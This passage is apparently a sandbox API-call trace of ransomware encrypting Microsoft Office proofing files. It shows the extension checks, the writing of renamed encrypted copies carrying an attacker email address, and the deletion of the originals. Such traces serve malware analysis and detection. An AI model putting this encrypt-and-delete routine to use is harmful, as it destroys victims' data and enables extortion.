lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.383] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.383] lstrlenW (lpString="Proof.XML") returned 9 [0211.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.384] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1347) returned 1 [0211.384] CloseHandle (hObject=0x1e8) returned 1 [0211.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0211.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.384] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.384] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.384] GetLastError () returned 0x0 [0211.384] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x543, lpOverlapped=0x0) returned 1 [0211.387] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x550, lpOverlapped=0x0) returned 1 [0211.388] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.388] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.388] SetEndOfFile (hFile=0x194) returned 1 [0211.388] CloseHandle (hObject=0x194) returned 1 [0211.388] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.388] SetEndOfFile (hFile=0x1e8) returned 1 [0211.389] CloseHandle (hObject=0x1e8) returned 1 [0211.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.389] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0211.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString=".doc") returned 4 [0211.390] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString=".docx") returned 5 [0211.390] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0211.390] lstrlenW (lpString=".pdf") returned 4 [0211.390] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString=".xls") returned 4 [0211.390] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString=".xlsx") returned 5 [0211.390] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0211.390] lstrlenW (lpString=".ppt") returned 4 [0211.390] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString=".zip") returned 4 [0211.390] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.390] lstrlenW (lpString=".rar") returned 4 [0211.390] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString=".bz2") returned 4 [0211.390] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString=".7z") returned 3 [0211.390] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString=".dbf") returned 4 [0211.390] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString=".1cd") returned 4 [0211.390] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString=".jpg") returned 4 [0211.390] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.390] lstrlenW (lpString=".doc") returned 4 [0211.390] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.390] lstrlenW (lpString=".docx") returned 5 [0211.390] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0211.391] lstrlenW (lpString=".pdf") returned 4 [0211.391] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString=".xls") returned 4 [0211.391] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString=".xlsx") returned 5 [0211.391] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0211.391] lstrlenW (lpString=".ppt") returned 4 [0211.391] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.391] lstrlenW (lpString=".zip") returned 4 [0211.391] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.391] lstrlenW (lpString=".rar") returned 4 [0211.391] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString=".bz2") returned 4 [0211.391] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString=".7z") returned 3 [0211.391] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.391] lstrlenW (lpString=".dbf") returned 4 [0211.391] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.391] lstrlenW (lpString=".1cd") returned 4 [0211.391] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0211.391] lstrlenW (lpString=".jpg") returned 4 [0211.391] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.391] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.391] lstrlenW (lpString="Proof.XML") returned 9 [0211.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.395] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1457) returned 1 [0211.395] CloseHandle (hObject=0x1e8) returned 1 [0211.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0211.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.395] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.395] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.396] GetLastError () returned 0x0 [0211.396] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0211.400] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0211.401] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.401] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.401] SetEndOfFile (hFile=0x194) returned 1 [0211.401] CloseHandle (hObject=0x194) returned 1 [0211.401] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.401] SetEndOfFile (hFile=0x1e8) returned 1 [0211.402] CloseHandle (hObject=0x1e8) returned 1 [0211.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString=".doc") returned 4 [0211.403] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString=".docx") returned 5 [0211.403] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0211.403] lstrlenW (lpString=".pdf") returned 4 [0211.403] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString=".xls") returned 4 [0211.403] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString=".xlsx") returned 5 [0211.403] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0211.403] lstrlenW (lpString=".ppt") returned 4 [0211.403] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString=".zip") returned 4 [0211.403] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.403] lstrlenW (lpString=".rar") returned 4 [0211.403] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString=".bz2") returned 4 [0211.403] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString=".7z") returned 3 [0211.403] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString=".dbf") returned 4 [0211.403] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString=".1cd") returned 4 [0211.403] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString=".jpg") returned 4 [0211.403] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.403] lstrlenW (lpString=".doc") returned 4 [0211.403] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.403] lstrlenW (lpString=".docx") returned 5 [0211.403] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0211.403] lstrlenW (lpString=".pdf") returned 4 [0211.404] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString=".xls") returned 4 [0211.404] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString=".xlsx") returned 5 [0211.404] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0211.404] lstrlenW (lpString=".ppt") returned 4 [0211.404] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.404] lstrlenW (lpString=".zip") returned 4 [0211.404] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.404] lstrlenW (lpString=".rar") returned 4 [0211.404] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString=".bz2") returned 4 [0211.404] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString=".7z") returned 3 [0211.404] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.404] lstrlenW (lpString=".dbf") returned 4 [0211.404] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.404] lstrlenW (lpString=".1cd") returned 4 [0211.404] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0211.404] lstrlenW (lpString=".jpg") returned 4 [0211.404] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.404] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.404] lstrlenW (lpString="Proof.XML") returned 9 [0211.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.405] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1458) returned 1 [0211.405] CloseHandle (hObject=0x1e8) returned 1 [0211.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0211.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.405] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.405] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.406] GetLastError () returned 0x0 [0211.406] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0211.454] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0211.455] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.455] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.455] SetEndOfFile (hFile=0x194) returned 1 [0211.455] CloseHandle (hObject=0x194) returned 1 [0211.455] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.455] SetEndOfFile (hFile=0x1e8) returned 1 [0211.456] CloseHandle (hObject=0x1e8) returned 1 [0211.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.456] lstrlenW (lpString=".doc") returned 4 [0211.456] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString=".docx") returned 5 [0211.456] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0211.456] lstrlenW (lpString=".pdf") returned 4 [0211.456] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString=".xls") returned 4 [0211.456] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString=".xlsx") returned 5 [0211.456] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0211.456] lstrlenW (lpString=".ppt") returned 4 [0211.456] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.456] lstrlenW (lpString=".zip") returned 4 [0211.456] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.456] lstrlenW (lpString=".rar") returned 4 [0211.456] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString=".bz2") returned 4 [0211.456] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString=".7z") returned 3 [0211.456] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.456] lstrlenW (lpString=".dbf") returned 4 [0211.456] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.456] lstrlenW (lpString=".1cd") returned 4 [0211.457] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString=".jpg") returned 4 [0211.457] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString=".doc") returned 4 [0211.457] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString=".docx") returned 5 [0211.457] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0211.457] lstrlenW (lpString=".pdf") returned 4 [0211.457] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString=".xls") returned 4 [0211.457] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString=".xlsx") returned 5 [0211.457] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0211.457] lstrlenW (lpString=".ppt") returned 4 [0211.457] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString=".zip") returned 4 [0211.457] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.457] lstrlenW (lpString=".rar") returned 4 [0211.457] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString=".bz2") returned 4 [0211.457] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString=".7z") returned 3 